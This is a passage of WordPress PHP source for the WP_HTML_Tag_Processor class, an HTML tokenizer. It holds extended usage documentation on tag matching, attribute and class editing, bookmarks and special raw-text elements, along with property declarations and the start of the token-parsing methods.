 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
